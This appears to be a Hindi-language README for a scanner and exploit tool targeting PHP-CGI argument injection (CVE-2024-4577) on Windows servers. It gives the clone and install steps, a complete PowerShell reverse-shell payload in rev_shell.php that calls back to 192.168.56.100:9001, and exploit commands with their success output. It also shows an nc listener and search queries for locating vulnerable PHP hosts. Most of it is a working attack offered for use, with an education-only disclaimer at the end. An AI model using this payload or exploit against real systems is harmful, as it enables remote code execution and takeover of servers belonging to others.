
PoC - PHP CGI आर्गुमेंट इंजेक्शन CVE-2024-4577 (स्कैनर और एक्सप्लॉइट)
PHP संस्करण 8.1.* (8.1.29 से पहले), 8.2.* (8.2.20 से पहले), 8.3.* (8.3.8 से पहले) में, विंडोज पर Apache और PHP-CGI का उपयोग करते समय, यदि सिस्टम को कुछ कोड पेजों का उपयोग करने के लिए सेट किया गया है, तो विंडोज Win32 API फंक्शन्स को दिए गए कमांड लाइन में अक्षरों को बदलने के लिए "Best-Fit" व्यवहार का उपयोग कर सकता है। PHP CGI मॉड्यूल उन अक्षरों को PHP विकल्पों के रूप में गलत समझ सकता है, जो एक दुर्भावनापूर्ण उपयोगकर्ता को चल रहे PHP बाइनरी में विकल्प पारित करने की अनुमति दे सकता है, और इस प्रकार स्क्रिप्ट का स्रोत कोड प्रकट कर सकता है, सर्वर पर मनमाना PHP कोड चला सकता है, आदि।
"XAMPP एक डिफ़ॉल्ट कॉन्फ़िगरेशन में कमजोर है, और हम /php-cgi/php-cgi.exe एंडपॉइंट को लक्षित कर सकते हैं। एक स्पष्ट .php एंडपॉइंट (जैसे /index.php) को लक्षित करने के लिए, सर्वर को PHP स्क्रिप्ट्स को CGI मोड में चलाने के लिए कॉन्फ़िगर किया जाना चाहिए।"
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt

[!NOTE] यह उपकरण वास्तविक हमले और तकनीकों (TTPs) को प्रदर्शित करता है। हालांकि, यह विशिष्ट पेलोड नमूना इस परिदृश्य में काम नहीं करता है। पूर्ण कार्यात्मक पेलोड प्राप्त करने के लिए shell.php को संशोधित करें।
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता उपकरण के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है। समस्या बनाएं